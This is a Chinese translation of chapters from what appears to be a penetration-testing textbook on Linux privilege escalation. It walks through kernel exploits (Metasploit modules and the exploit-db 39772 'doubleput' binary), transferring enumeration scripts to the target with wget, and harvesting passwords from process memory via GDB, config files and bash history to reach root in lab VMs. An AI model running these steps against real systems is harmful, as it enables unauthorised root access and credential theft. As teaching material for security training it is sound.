现在，我们可以开始测试local_exploit_suggester推荐的各种漏洞利用模块。输出中的前几个模块通常有更高的成功几率。我们可以通过加载模块来测试列表中的第二个模块，正如前面的截图所示。可以通过运行以下命令来完成此操作：

使用 /exploit/linux/local/netfilter_priv_esc_ipv4

此内核漏洞利用将利用 Linux 内核版本低于 4.6.3 的netfilter bug，并要求启用并加载iptables。该漏洞利用还要求安装libc6-dev-i386来编译漏洞利用程序。有关此漏洞利用的更多信息，请参阅：www.rapid7.com/db/modules/exploit/linux/local/netfilter_priv_esc_ipv4/。
加载模块后，您需要设置模块选项，这些选项将包括 meterpreter 会话 ID 和新 meterpreter 会话的有效负载选项，正如以下截图所示：

图 10.7 – 内核漏洞利用模块选项
我们现在可以通过运行以下命令来执行内核漏洞利用模块：

漏洞利用

在这种情况下，漏洞利用失败是因为libc6-dev-i386未安装，如以下截图所示：

图 10.8 – Metasploit 内核漏洞利用失败

另外，运行local_exploit_suggester建议的其他内核漏洞利用将失败。这是一个重要的教训：您不能总是依赖使用自动化的 Metasploit 模块来获得访问权限或提升目标系统的权限。试错是权限提升过程中一个重要的部分。

由于此路径未能产生任何结果，我们需要采用更手动的方式来识别正确的内核漏洞利用方法。让我们从查看如何通过各种枚举脚本列举目标系统的相关信息开始。

手动内核漏洞利用

在某些情况下，您可能无法成功使用 Metasploit 模块提升权限，可能无法访问带有 meterpreter 会话的目标，或者您可能通过手动漏洞利用技术（例如 Web Shell）利用了目标。在这种情况下，您将通过标准反向 Shell 进行访问，通常是通过netcat来实现的。这带来了一些问题：您如何扫描目标以寻找潜在的内核漏洞？以及如何将内核漏洞传输到目标？

这些是我们将在本节中解决的问题；我们选择的目标是本章早些时候设置的 Ubuntu 16.04 虚拟机。

本地枚举工具

第一步是扫描并识别潜在的内核漏洞。这可以通过使用 linux-exploit-suggester 或其他枚举脚本和工具来完成。在本例中，我们将利用 linPEAS 脚本来枚举目标信息。

注意

linPEAS 是一个本地的 Linux 枚举脚本，用于搜索和扫描潜在的漏洞，然后枚举所有可用于进行权限提升攻击的重要系统信息。

linPEAS 二进制文件可以从以下 GitHub 仓库下载：github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS。

请确保下载 linpeas Bash 脚本，如以下截图所示：

图 10.9 – linPEAS Bash 脚本

在将 Bash 脚本下载到我们的 Kali 虚拟机后，我们需要将linpeas.sh文件传输到目标虚拟机。这无法自动完成，因为我们没有 meterpreter 会话。因此，我们需要利用 Linux 特有的工具来下载二进制文件。

文件传输

为了将linpeas.sh文件传输到我们的目标，我们需要在 Kali 虚拟机上搭建一个 Web 服务器。这个服务器将用来托管文件，以便我们可以在目标系统上下载它。可以通过以下步骤来完成：

为了在 Kali 虚拟机上设置 Web 服务器，我们可以使用 SimpleHTTPServer Python 模块来提供二进制文件。可以通过在存储 linpeas.sh 二进制文件的目录中运行以下命令来完成：

sudo python -m SimpleHTTPServer 80

注意

如果端口 80 已被占用，您还可以使用系统上的任何其他开放端口。

另外，您还可以通过运行以下命令，利用 Python 3 的 http.server 模块：

sudo python3 -m http.server 80

正如以下截图所示，SimpleHTTPServer 将在 Kali 虚拟机 IP 地址的 80 端口上提供目录中的文件：

图 10.10 – SimpleHTTPServer linpeas.sh
为了将 linpeas.sh 文件下载到目标系统，我们可以利用 wget 工具。然而，在下载二进制文件之前，我们需要导航到一个我们有读写权限的目录。在这种情况下，我们将导航到临时目录，如以下截图所示：

图 10.11 – Linux 临时目录
现在，我们可以使用 wget 工具将文件从 Kali 虚拟机下载到目标系统。可以通过在目标系统上运行以下命令来完成：

wget http://<KALI-VM-IP>/linpeas.sh

上述命令的输出可以在以下截图中看到：

图 10.12 – wget 成功传输

如前所示的截图，如果传输成功，linpeas.sh 文件应该已被下载并以我们指定的名称保存。

现在，我们可以使用 linpeas.sh 脚本来枚举重要的系统信息，这些信息可以帮助我们提升权限。

枚举系统信息

linpeas.sh 脚本会列举大量信息，并执行各种检查以发现目标系统上的潜在漏洞。然而，它并不会列出潜在的内核漏洞。在内核漏洞的上下文中，我们可以使用 linpeas.sh 脚本来枚举系统信息，例如内核版本。这可以通过以下步骤来完成：

要列举所有重要的系统信息，我们需要运行 linpeas.sh 脚本。然而，在此之前，我们需要确保该脚本具有可执行权限。可以通过在目标系统上运行以下命令来完成：

chmod +x linpeas.sh
现在，我们可以通过在目标系统上运行以下命令来运行 linpeas.sh 脚本：

./linpeas.sh -o SysI

SysI 选项用于将脚本的结果限制为仅系统信息。这主要是因为 linpeas.sh 脚本会生成大量输出。

如下截图所示，脚本会列举系统信息，包括已安装的内核版本、Linux 发行版版本以及代号：

图 10.13 – linPEAS 系统信息

在这种情况下，我们的目标系统运行的是 Ubuntu 16.04 LTS，内核版本为 4.4.0-21。我们可以利用这些信息来识别影响此版本内核的特定漏洞。发行版 ID、版本号和代号也非常重要，因为某些内核漏洞是专门为特定的 Linux 发行版设计的。

linPEAS 脚本没有提供任何潜在的内核漏洞，可以用于提升我们的权限。因此，我们必须使用其他枚举脚本。

注意

linPEAS 脚本列举了许多有用的信息，这些信息将在本书的后续章节中非常有用，尤其是在我们深入探讨其他 Linux 提权技巧时。

枚举内核漏洞

我们可以使用linux-exploit-suggester来枚举我们的系统信息并扫描潜在的内核漏洞。linux-exploit-suggester脚本可以从github.com/mzet-/linux-exploit-suggester下载。

建议下载脚本并将其重命名为更简单的文件名。可以通过运行以下命令来实现自动化：

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

下载脚本后，我们需要将其传输到目标系统。可以按照以下步骤进行操作：

为了在 Kali 虚拟机上搭建一个 Web 服务器，我们可以利用SimpleHTTPServer Python 模块来提供二进制文件。可以通过在存储les.sh脚本的目录中运行以下命令来完成此操作：

sudo python -m SimpleHTTPServer 80
要在目标系统上下载les.sh脚本，我们可以使用wget工具。然而，在下载二进制文件之前，我们需要导航到一个具有读写权限的目录。在这种情况下，我们将导航到临时目录，如以下截图所示：

图 10.14 – Linux 临时目录

现在我们可以使用wget工具将文件从 Kali 虚拟机下载到目标系统。可以通过在目标系统上运行以下命令来完成此操作：

wget http://<KALI-VM-IP>/les.sh

输出显示在以下截图中：

图 10.15 – wget 成功传输

如上所示，如果传输成功，les.sh脚本应已下载并以我们指定的名称保存。
现在我们可以使用les.sh脚本来枚举我们可以利用来提升权限的潜在内核漏洞。可以通过在目标系统上运行以下命令来完成此操作：

./les.sh

如下图所示，脚本将枚举所有可用于提升权限的潜在内核漏洞。我们现在可以利用这些信息来确定使用哪个内核漏洞：

图 10.16 – Linux 漏洞建议器 – 内核漏洞
始终建议使用第一个漏洞的输出与枚举工具和脚本结合使用。在本例中，我们将从 CVE-2016-4557 内核漏洞开始。我们需要获取更多有关该漏洞的信息，并了解如何使用它。我们可以通过执行快速 Google 搜索来完成这项任务，如以下截图所示：

图 10.17 – CVE-2016-4557 Google 搜索

先前的 Google 搜索揭示了一个 exploit-db 的引用，其中包含有关该漏洞的信息、漏洞的源代码以及如何使用它。

始终建议分析源代码，以确保它不是恶意的，并且按预期工作。这使你能够进行任何必要的修改。
或者，我们也可以使用 exploit-db 命令行工具来查询特定的漏洞。可以通过在 Kali 虚拟机上运行以下命令来完成：

searchsploit linux kernel 4.4

在这种情况下，我们正在查询 exploit-db 数据库，寻找与 Linux 内核版本 4.4.0 相关的漏洞。如以下截图所示，我们可以识别相同的漏洞：

图 10.18 – Searchsploit 结果

现在我们已经确定了一个潜在的内核漏洞，我们可以开始将漏洞文件传输到目标并执行它。

运行内核漏洞利用

对内核漏洞利用的进一步分析揭示了其功能和任何编译说明（如果需要），如以下截图所示：

图 10.19 – 漏洞利用说明

在这个特定的案例中，我们需要将包含编译脚本和漏洞二进制文件的 ZIP 文件下载到目标系统。完成此操作后，我们需要运行 doubleput 二进制文件来提升我们的会话。

关于此漏洞的更多信息可以在这里找到：www.exploit-db.com/exploits/39772。

我们可以通过以下步骤运行内核漏洞利用：

该过程的第一步是将漏洞文件下载到你的 Kali 虚拟机。可以通过运行以下命令来完成：

wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip
下载漏洞文件后，我们需要将其传输到目标系统。这可以通过在 Kali 虚拟机上启动本地 Web 服务器，并使用 SimpleHTTPServer Python 模块来完成：

sudo python -m SimpleHTTPServer 80
要将二进制文件下载到目标系统，我们可以使用 wget 工具。然而，在下载二进制文件之前，我们需要导航到一个有读写权限的目录。在这种情况下，我们将导航到临时目录，正如我们在前面章节中所做的那样。
现在，我们可以使用 wget 工具将漏洞文件从 Kali 虚拟机下载到目标系统。这可以通过在目标系统上运行以下命令来完成：

wget http://<KALI-VM-IP>/39772.zip
将漏洞文件传输到目标系统后，我们需要解压该文件。可以通过运行以下命令来完成：

unzip 39772.zip

解压漏洞文件后，你将看到一个名为 39772 的目录。进入该目录后，可以看到以下文件：

图 10.20 – 漏洞利用压缩包内容
现在，我们需要提取 exploit.tar 压缩包。可以通过运行以下命令来完成：

tar xf exploit.tar

在提取 exploit.tar 压缩包后，你将看到一个目录，如下图所示：

图 10.21 – 漏洞利用目录

进入此目录后，会显示出一个编译脚本，执行后将生成漏洞利用二进制文件。
我们可以通过运行以下命令来执行漏洞利用编译脚本：

./compile.sh

漏洞利用脚本将生成一个名为 doubleput 的漏洞利用二进制文件，如下图所示：

图 10.22 – 漏洞利用二进制文件
根据漏洞执行指令，我们可以运行doubleput二进制文件来获取提升会话。可以通过运行以下命令来实现：

./doubleput

如果漏洞利用二进制文件成功运行，你应该会收到一个带有 root 权限的提升会话，以下截图中已突出显示：

图 10.23 – 成功的手动内核漏洞利用

通过利用 Linux 内核中的漏洞，我们已成功在目标 Linux 虚拟机上提升了权限。现在，我们可以开始探索其他 Linux 权限提升途径。

总结

在本章中，我们首先通过 Metasploit 框架识别并自动运行了内核漏洞利用。接着，我们查看了如何手动识别和传输内核漏洞利用。最后，我们探讨了如何在目标系统上成功执行内核漏洞利用来提升我们的权限。

现在，我们已经学会了如何在 Linux 系统上进行内核漏洞利用，可以开始探索其他 Linux 权限提升途径。

在下一章，我们将探讨如何在 Linux 上挖掘和搜索本地存储的密码，以及这如何导致成功的权限提升。

第十一章：Linux 密码挖掘

现在，您已经了解了如何利用 Linux 上的内核漏洞提升权限，我们可以开始探索如何在 Linux 系统上搜索和识别本地存储的凭证。这个过程将涉及搜索可以直接提升我们权限的特定密码和应用程序凭证，而不需要使用任何漏洞。

本章将重点介绍可以用来查找和识别密码的各种工具和技术，这些密码将有助于我们获取提升后的会话。

我们将首先了解如何提取存储在内存中的密码和凭证，然后再看看如何在应用程序和操作系统配置文件中识别凭证。最后，我们将通过探索在历史文件中搜索和识别密码的过程来结束本章。

本章将涉及以下主要内容：

什么是密码挖掘？
从内存中提取密码
在配置文件中搜索密码
在历史文件中搜索密码

技术要求

为了跟随本章的演示，您需要确保熟悉 Linux 终端命令。

您可以在这里查看本章代码的实际演示：bit.ly/2Y3qA3w

什么是密码挖掘？

您应该已经熟悉密码挖掘过程及其重要性，因为我们在第七章《Windows 密码挖掘》中已经介绍过这一点；然而，在处理 Linux 系统时，这个过程有一些细微的差别。

密码挖掘是指在目标系统的持久或易失性内存中搜索和列举加密或明文密码的过程。这个过程的主要目标是识别潜在有用的用户账户和应用程序密码，这些密码可以扩大我们对目标系统的控制权，并可能为我们提供提升的权限。

由于 Linux 发行版和部署使用案例的性质，这个过程在不同的目标之间会有所不同。因此，了解 Linux 系统上密码（包括加密和明文密码）存储的位置和方式非常重要。

还需要理解，这一过程依赖于一系列漏洞，这些漏洞源自组织或个人的密码安全实践。密码安全实践不当是攻击者的主要目标，因为这些不当做法提供了一个直接的访问通道，无需进一步的系统利用或破坏。

由于各种平台和应用程序需要大量凭据，员工和个人往往会将凭据以明文形式保存在他们的系统中，通常是保存在 .doc、.txt 或 .xlsx 文件中以便于访问，并且很可能使用较弱的密码，这些密码由与他们相关的事件、名字或日期组成。这对组织的安全构成了重大威胁，因此，大多数组织会实施密码安全政策，以应对这些问题。密码安全政策用于为用户账户密码建立一个基本的安全级别，并强制要求以安全方式存储和使用由单词（包括大小写字母）、符号和数字组成的强密码，且推荐密码的最小长度为八位数字。然而，这也导致了密码重复使用的现象，员工和个人往往会对多个账户使用相同的密码，主要是因为他们需要使用的密码过于复杂。这使得攻击者可以通过破解一个账户的密码，获得多个账户的访问权限。

另一个额外的安全漏洞或风险涉及 Linux 用户账户密码及其存储方式。Linux 会加密并本地存储用户账户密码。在攻击者获得初步访问权限后，用户账户的哈希值可以从内存中转储，并且可以根据密码的长度和强度进行破解。我们将在本章稍后讨论这种技术的优缺点。

从组织的角度来看，Linux 还用于托管一些具有自身安全漏洞的第三方业务关键应用程序。大多数这些应用程序实现了某种形式的访问控制，因此需要通过用户名和密码组合进行用户身份验证。这些应用程序也容易将凭据以明文或加密格式本地存储。在成功利用这些漏洞后，攻击者可以定位这些凭据，解密它们（如果加密较弱），并用它们来访问应用程序，从而扩大对系统或网络的控制范围。

现在，您已经了解了什么是密码挖掘，我们可以看看如何设置我们的目标 虚拟机（VM），我们将在本书剩余的章节中使用它。

设置我们的环境

在本章中，我们将使用一个定制的 Debian 6 虚拟机（VM），该虚拟机已配置为易受攻击，并将为我们提供一个强大的环境，以便学习和演示密码挖掘过程。

要开始设置虚拟机，请按照接下来的步骤进行操作：

该过程的第一步是下载 VM 所需的开放虚拟化应用程序（OVA）文件，以便使用 VirtualBox 设置目标系统。可以通过以下链接下载 OVA 文件：www.dropbox.com/s/e8anrvbxvqidw3w/Debian%206%2064-bit%20%28Workshop%29.ova?dl=0。
为了将 VM 导入 VirtualBox，你需要双击Debian 6 64-bit（Workshop）文件，如下面的截图所示：

图 11.1 – VM 文件
双击 OVA 文件后，你会看到如下面截图所示的 VirtualBox 导入向导：

图 11.2 – VirtualBox 导入向导

VirtualBox 导入向导会提示你指定 VM 的基础文件夹，如前面的截图所示。之后，你可以点击导入按钮开始导入过程。
将 VM 导入 VirtualBox 后，你需要将其添加到我们在本书第二章《设置我们的实验室》中创建的虚拟黑客实验室网络中，如下图所示：

图 11.3 – VirtualBox 网络设置

一旦你配置好 VM 使用自定义网络，可以保存更改并启动 VM，开始操作。

你需要在系统上获得初步的控制权限，才能跟随本章中的技术和演示。你可以通过安全外壳协议（SSH）使用以下凭证远程认证到目标系统，从而获得初步控制权限：用户名（user）和密码（password321）。

这些凭证将为你提供一个在目标系统上的无特权会话，我们可以利用该会话作为提升权限的起点。

从内存中提取密码

我们可以通过探索一种不常见的技术来开始密码挖掘过程，该技术可以从内存中提取应用程序密码。此技术的可行性和成功与否将取决于目标上运行的应用程序类型及其部署用例。

使用用户名和密码认证的应用程序和服务可能会将凭证存储在用户空间内存中，无论是以明文形式还是加密状态。通过转储和分析特定服务的内存，可能会揭示与应用程序相关的凭证。我们可以使用这些凭证来获得访问权限并控制该服务；另外，我们还可以使用发现的凭证进行其他用户帐户的认证，以提升我们的权限。这是因为许多用户和系统管理员倾向于为各种应用程序和用户帐户重复使用密码。

我们可以使用GNU 调试器（GDB）转储运行中的服务或应用程序的内存，以揭示明文或加密密码。

注意

GDB 是一个可移植的调试器，能够在各种类似 Unix 的系统上运行，并可用于调试各种编程语言。

这一技术需要一个程序化的方法，并且根据目标系统上运行的应用类型，不同系统之间会有所不同。

我们可以按照接下来概述的程序开始这个过程：

过程的第一步是识别目标系统上运行的服务，这些服务利用身份验证或可能曾用于与其他服务进行身份验证。可以通过在目标系统上运行以下命令来完成：

ps -ef

该命令将列出系统上所有正在运行的服务及其对应的进程标识符（PID）。

如下图所示，我们可以识别出作为用户运行的各种服务：

图 11.4 – Bash 进程

我们也可以手动搜索可能会使用身份验证的特定服务。可以通过运行以下命令来完成：

ps -ef | grep <SERVICE_NAME>

该命令利用grep工具将结果限制为与关键字匹配的进程。

如图 11.4所示，我们能够识别出一个 Bash 会话及其对应的 PID。
我们可以利用 GDB 转储Bash服务的内存，以揭示可能在 Bash 会话中由其他用户输入的凭据。这可以通过在目标系统上运行以下命令来完成：

gdb -p <PID>

该命令用于指定你想要用 GDB 分析的特定 PID。在这种情况下，确保指定 Bash 服务的 PID，如图 11.4所示。
下一步是列出该进程的所有映射内存区域。可以通过在 GDB 中运行以下命令来完成：

info proc mappings

如果成功，GDB 应该输出服务的映射地址空间，如下图所示：

图 11.5 – GDB 映射的地址空间

注意堆内存的起始和结束地址，如前面的截图所示，因为我们需要这些地址来转储服务的内存。
现在，我们可以通过指定堆分配的起始和结束地址来转储服务的内存。这可以通过在 GDB 中运行以下命令来完成：

dump memory <OUTPUT_FILE> <START_ADDRESS> <STOP_ADDRESS>

该命令将把 Bash 服务的堆内存内容输出到一个可以进行分析的输出文件中。

注意

堆内存，也称为动态内存，是应用程序用来存储全局变量的。
在将 Bash 服务的内存转储到文件后，我们可以使用strings工具来识别潜在有用的信息和凭据。可以通过在目标系统上运行以下命令来实现：

strings /<OUTPUT_FILE> | grep passw

此命令将识别输出文件中的所有字符串，并搜索任何出现的passw关键字。

如以下截图所示，我们能够识别到一个明确列出的 MySQL 身份验证命令，包括用户名和密码：

图 11.6 – 从内存中转储的 MySQL 凭据

我们现在可以使用这些凭据获得 MySQL 服务器的 root 访问权限，因为在身份验证命令中指定的凭据使用了 root 账户。然而，目标并没有运行 MySQL 服务器。
另外，如果 root 用户为其他服务重复使用密码，我们可以利用 MySQL 凭据尝试通过 SSH 获得对目标系统的 root 账户的访问权限。可以通过运行以下命令来实现：

ssh root@<TARGET-IP>

如以下截图所示，使用 MySQL 凭据进行身份验证成功，您现在应该能够访问目标系统的 root 权限：

图 11.7 – 成功的 SSH 身份验证

我们现在已经能够成功通过转储和分析特定服务的内存来提升我们的权限。在这种情况下，我们能够访问系统上的 root 账户，主要原因是管理员或 root 用户的安全实践不当。以下的错误或不当的安全实践导致了我们成功提升权限：

管理员或 root 用户的密码重复使用。
MySQL 身份验证命令包含了用户名和密码。

这些错误是 Linux 服务器上的用户和系统管理员常犯的错误，必须始终进行测试，因为它们可能揭示出非常重要的信息，这些信息可以用来提升在目标系统上的权限。

现在，您已经了解了如何转储进程的内存以及如何查找和识别凭据，我们可以开始探索在配置文件中查找密码的过程。

在配置文件中查找密码

应用程序为攻击者提供了一个诱人的目标，因为其中的弱点和漏洞以及它存储凭据的方式可能导致整个系统被攻破或权限提升。

本节将重点介绍查找和列举应用程序凭据。本节演示的技术将取决于您处理的目标类型及其部署用例。在我们的特定案例中，我们的目标虚拟机被设置为服务器，并安装了各种应用程序。

该过程的第一步涉及在本地存储的各种文件中搜索密码；这将帮助我们识别文本或配置文件中的任何用户或应用程序密码。通过使用内置的 Linux 工具，可以在特定扩展名的文件中搜索特定的字符串来实现这一点。

搜索密码

我们可以按照接下来概述的程序开始密码搜索过程：

我们可以通过搜索包含密码的文件来开始。这可以通过利用grep工具来完成，如下所示：

grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null

此命令将从文件系统根目录开始递归扫描，并输出包含password关键字的文件列表，并根据需要对结果进行着色，如下图所示：

图 11.8 – grep 结果

注意

建议交替使用password关键字和其简写形式，如pass或passw。这是因为配置文件会以不同的名称存储凭证，并且可能会使用关键字的简写形式。

该命令将输出大量数据，这可能使得识别任何有用凭证变得困难。因此，我们需要将搜索范围缩小到包含应用程序和服务的有用配置文件的特定目录。这可以通过运行以下命令来完成：

grep --color=auto -rnw '/etc' -ie "PASSWORD" --color=always 2> /dev/null

此命令将把结果限制在/etc目录中找到的配置文件，如下图所示：

图 11.9 – 定制的 grep 搜索结果

在这种情况下，我们未能识别出任何有用的凭证，因此我们可以将注意力转向用户的主目录。
我们可以定制搜索关键字，确保通过使用pass关键字而不是password，不会错过任何匹配项。这可以通过运行以下命令来完成：

grep --color=auto -rnw '/home/user' -ie "PASS" --color=always 2> /dev/null

此命令将输出用户帐户主目录中包含pass关键字的所有文件列表，如下图所示：

图 11.10 – 定制的 grep 搜索结果

在这种情况下，我们能够在用户帐户主目录中识别到一个包含 OpenVPN 凭证位置的 OpenVPN 配置文件。我们可以通过运行以下命令显示前面截图中高亮显示的文件内容：

cat /etc/openvpn/auth.txt

此命令的输出如下所示：

图 11.11 – OpenVPN 凭据

显示文件内容时，我们可以看到用户帐户的凭据，但无法看到系统中任何其他帐户的凭据，如前面的截图所示。

如果我们事先不知道用户帐户的凭据，这将是有用的信息，因为我们将无需破解该帐户的密码哈希便能获取用户帐户的密码。
你还可以结合使用find工具和grep工具，根据目标的配置进一步优化搜索。这可以通过运行以下命令来完成：

find /etc -type f -exec grep -i -I "PASS" {} /dev/null \;

这个命令将输出一个包含pass关键字的/etc目录下的文件列表。

在这种情况下，我们无法找到任何包含我们可以使用的凭据的新文件，如以下截图所示：

图 11.12 – 查找搜索结果

我们还可以通过运行以下命令，搜索包含pass关键字的用户帐户主目录中的文件：

find /home/user -type f -exec grep -i -I "PASS" {} /dev/null \;

输出结果如图所示：

图 11.13 – 自定义查找搜索结果

在这种情况下，我们能够识别出一个包含用户帐户 IRC 凭据的互联网中继聊天（IRC）客户端配置文件；然而，我们无法找到任何其他可以用于特权提升的用户或应用程序凭据。
我们可以通过使用自动化枚举脚本来自动化这个过程。在这种情况下，我们将使用Linux 特权提升超级脚本（linPEAS）来自动化目标上的密码挖掘过程。

注意

linPEAS是一个本地 Linux 枚举脚本，用于搜索和扫描潜在的漏洞，并枚举所有可以用于进行特权提升攻击的重要系统信息。

linPEAS 二进制文件可以从 GitHub 仓库下载，链接如下：

github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

确保你下载了linpeas Bash 脚本，如以下截图所示：

图 11.14 – linPEAS Bash 脚本

在将 Bash 脚本下载到我们的 Kali 虚拟机后，我们需要将linpeas.sh文件传输到目标虚拟机。这不能自动完成，因为我们没有 meterpreter 会话。因此，我们需要使用 Linux 特定的工具来下载该二进制文件。

文件传输

为了将 linpeas.sh 文件传输到目标系统，我们需要在 Kali 虚拟机上设置一个 Web 服务器，用于托管该文件，以便我们可以在目标系统上下载它。可以按照此处概述的步骤进行操作：

为了在 Kali 虚拟机上设置 Web 服务器，我们可以使用 SimpleHTTPServer Python 模块来提供二进制文件。这可以通过在存储 linpeas.sh 二进制文件的目录中运行以下命令来完成：

sudo python -m SimpleHTTPServer 80

注意

SimpleHTTPServer 是一个适用于 Python 2 的模块，也可以在 Python 3 中使用，名称为 http.server。

如下截图所示，SimpleHTTPServer 模块将在 Kali 虚拟机的 Internet Protocol** (IP**) 地址的 80 端口上提供该目录中的文件：

图 11.15 – SimpleHTTPServer linPEAS
为了将 linpeas.sh 文件下载到目标系统，我们可以使用 wget 工具。然而，在下载二进制文件之前，我们需要导航到一个有读写权限的目录。在此，我们将导航到临时目录，如下截图所示：

图 11.16 – Linux 临时目录
现在我们可以使用 wget 工具从 Kali 虚拟机下载文件到目标系统。这可以通过在目标系统上运行以下命令来完成：

wget http://<KALI-VM-IP>/linpeas.sh

此命令的输出如下所示：

图 11.17 – 转移 linPEAS 脚本

如前面的截图所示，如果传输成功，linpeas.sh 文件应已下载并保存为我们指定的名称。
现在我们可以使用 linpeas.sh 脚本来自动化密码挖掘过程。这可以通过运行 linpeas.sh 脚本来完成。然而，在此之前，我们需要确保脚本具有可执行权限。这可以通过在目标系统上运行以下命令来完成：

chmod +x linpeas.sh
我们现在可以通过在目标系统上运行以下命令来运行 linpeas.sh 脚本：

./linpeas.sh

此命令将枚举并输出与特权提升相关的所有系统信息。在此，我们只对包含凭证的文件感兴趣。

在这种情况下，我们能够通过手动技术识别我们之前找到的 IRC 客户端凭证，具体如下截图所示：

图 11.18 – IRC 客户端密码

我们还能够识别 OpenVPN 用户凭证，如下截图所示：

图 11.19 – OpenVPN 凭证

linpeas.sh脚本没有显示系统本地存储的其他凭据或密码。因此，我们将不得不将搜索范围缩小到可能包含潜在有用信息的特定文件。

我们对密码和凭据的搜索并没有取得成果，因为我们无法找到任何可以让我们进一步提升权限的凭据。然而，我们只能找到user账户的凭据。

过程中的下一步将涉及在目标系统的历史文件中搜索密码。

在历史文件中搜索密码

运行 Linux 的一个优势是用户可以获得大量的日志记录。默认情况下，Linux 会自动记录用户在系统上输入的所有 Bash 命令，除非另有规定。这对系统管理员来说是一个优势，因为它提供了一个问责制系统，用户的所有操作和命令都被记录下来，并可以进行历史分析；然而，如果配置不正确，攻击者可以利用这个功能来搜索并识别来自用户输入命令的各种历史文件中的重要信息，如凭据。

公司和组织通过禁用用户命令历史记录来减轻这种固有的配置漏洞。或者，他们也可以在用户完成会话后强制删除这些日志。然而，在许多情况下，Linux 系统上的用户可能会忘记清除他们的历史记录，因此，攻击者可以筛选用户的历史记录，以寻找潜在有用信息。

通过各种技术搜索和识别本地存储的凭据的步骤如下：

这个过程的第一步涉及分析user账户的 Bash 历史文件。bash_history文件记录了用户在 Bash 会话中输入的所有命令，并且默认位于用户的主目录中。我们可以利用cat实用程序与grep实用程序结合使用来显示文件的内容，并将输出限制为仅显示与关键字匹配的命令。可以通过运行以下命令来实现：

cat /home/user/.bash_history | grep "pass"

这个命令将输出用户过去输入的包含pass关键字的命令列表，旨在识别可能已经输入的任何凭据，如下截图所示：

图 11.20 – 分析 Bash 历史

如前面的截图所示，我们能够识别一个包含明文指定用户名和密码的本地 MySQL 服务器的认证命令。

注意

bash_history 文件用于存储特定用户的命令历史记录。bash_history 文件可以在用户的主目录中的 .bashrc 配置文件中进行配置。
我们可以利用这些凭据进行 MySQL 服务器身份验证；然而，服务器在此时似乎没有运行 MySQL 服务。然而，如果发生密码重用，我们也可以使用这些凭据对 root 账户进行身份验证。

这可以通过从当前用户切换到 root 用户，并指定我们在前述截图中识别的凭据来完成，如下所示：

su root

如下图所示，使用 MySQL 凭据进行身份验证成功，我们已经成功地将我们的权限提升到了目标系统的最高级别：

图 11.21 – 成功的权限提升
或者，我们还可以使用 history 命令在目标系统上输出用户之前输入的所有命令历史记录。可以通过运行以下命令实现：

history

如下图所示，我们能够识别出使用明文指定的凭据对 MySQL 服务器的身份验证尝试。我们还能够识别出可能包含有助于提升我们在目标系统上权限的有用信息的潜在文件，如下图所示：

图 11.22 – 分析命令历史记录

在这种情况下，我们可以利用 MySQL 凭据将我们的权限提升到最高级别，作为 root 用户，就像我们之前所做的那样。

通过多种技术搜索并识别本地存储的凭据，我们已经成功地提升了我们的权限。

总结

本章开始时，我们了解了如何通过 GDB 从内存中提取应用程序密码。然后，我们深入研究了如何手动和自动地搜索和识别配置文件中的密码。最后，我们通过查看特定用户的 bash_history 文件，了解了如何查找密码。

现在我们已经学会了如何通过查找 Linux 系统中本地存储的密码来提升权限，我们可以开始探索其他 Linux 权限提升途径。

在下一章中，我们将探讨通过配置错误的计划任务提升权限的过程。

第十二章：计划任务

Linux 上最重要的权限提升向量之一是利用配置错误的计划任务，也就是 cron 任务。本章将专注于枚举目标系统上运行的计划任务，分析这些任务的配置错误，并利用这些错误提升我们的权限。

我们将从本章开始，首先了解 Linux 如何通过 cron 实现计划任务，然后我们将看看如何通过 cron 路径提升权限。接下来，我们将探讨如何利用 cron 通配符来提升权限，最后我们将研究通过 cron 文件覆盖提升权限的过程。

在本章中，我们将涵盖以下主要内容：

Cron 任务介绍
通过 cron 路径提升权限
通过 cron 通配符提升权限
通过 cron 文件覆盖提升权限

技术要求

要跟随本章中的演示，你需要确保你熟悉 Linux 终端命令。

你可以在这里查看本章代码的实际演示：bit.ly/3F3747S

Cron 任务介绍

在操作系统上安排任务的能力是一个至关重要的功能，它可以提高在系统上执行任务的效率，从而提高负责管理和维护系统的个人效率。在通常面向普通终端用户的桌面操作系统中，这一功能可能不会完全实现或被重视，但在 Linux 系统中，尤其是作为服务器操作系统使用时，能够自动化并安排某些重复任务（如系统备份）是非常受欢迎的，且被系统管理员和工程师广泛实施。

Linux 通过一个名为 cron 的工具实现任务调度。Cron 是一个基于时间的服务，用于根据指定的时间表重复运行应用程序、脚本和其他命令。

配置为通过 cron 定期运行的应用程序或脚本被称为 cron 任务。Cron 可以用来自动化或重复系统上的多种功能，从每日备份到系统升级和补丁安装。

Cron 允许你在选择的时间周期性地运行程序、脚本或命令。这些 cron 任务随后会存储在 crontab 文件中。

crontab 文件是一个配置文件，由 cron 工具用于存储和跟踪已创建的 cron 任务。

现在你已经了解了 cron 的功能，我们来看看 cron 任务是如何存储在 crontab 文件中的。

Crontab 文件

你可以通过在目标系统上运行以下命令来列出正在运行的 cron 任务：

crontab

或者，如果您当前登录的用户没有使用crontab命令的必要权限，您还可以通过运行以下命令手动显示crontab文件的内容：

cat /etc/crontab

如下图所示，这将输出所有活动的 cron 作业列表，以及它们各自的调度、应用程序、脚本或命令。

图 12.1 – crontab 文件内容

要理解我们如何利用 cron 作业来提升权限，我们需要了解crontab文件的结构以及 cron 作业的调度是如何配置的。

这可以通过一个简单的示例来实现。以下截图中突出显示的crontab条目安排命令在每小时的第 17 分钟反复运行：

图 12.2 – Cron 作业示例

cron 作业条目开头的前五个字段用于指定调度时间。这些字段用于指定以下值：

分钟（0 – 59）：用于指定 cron 作业应运行的具体分钟。
小时（0 – 23）：用于指定 cron 作业应运行的具体小时。
日期（1 – 31）：用于指定 cron 作业应运行的具体日期。
月份（1 – 12）：用于指定 cron 作业应运行的月份。
星期几（0 – 7）：用于指定 cron 作业应运行的星期几。

正如您可能注意到的，某些字段的值为星号（*****），这意味着 cron 作业将运行在所有小时、日期、周和月份，除非另有指定。在这种情况下，cron 作业将在每小时、每天、每月以及每周的第 17 分钟运行：

图 12.3 – Cron 作业语法

上面的截图概述了 cron 作业的语法以及可以自定义的各种字段，用于配置 cron 作业的调度。

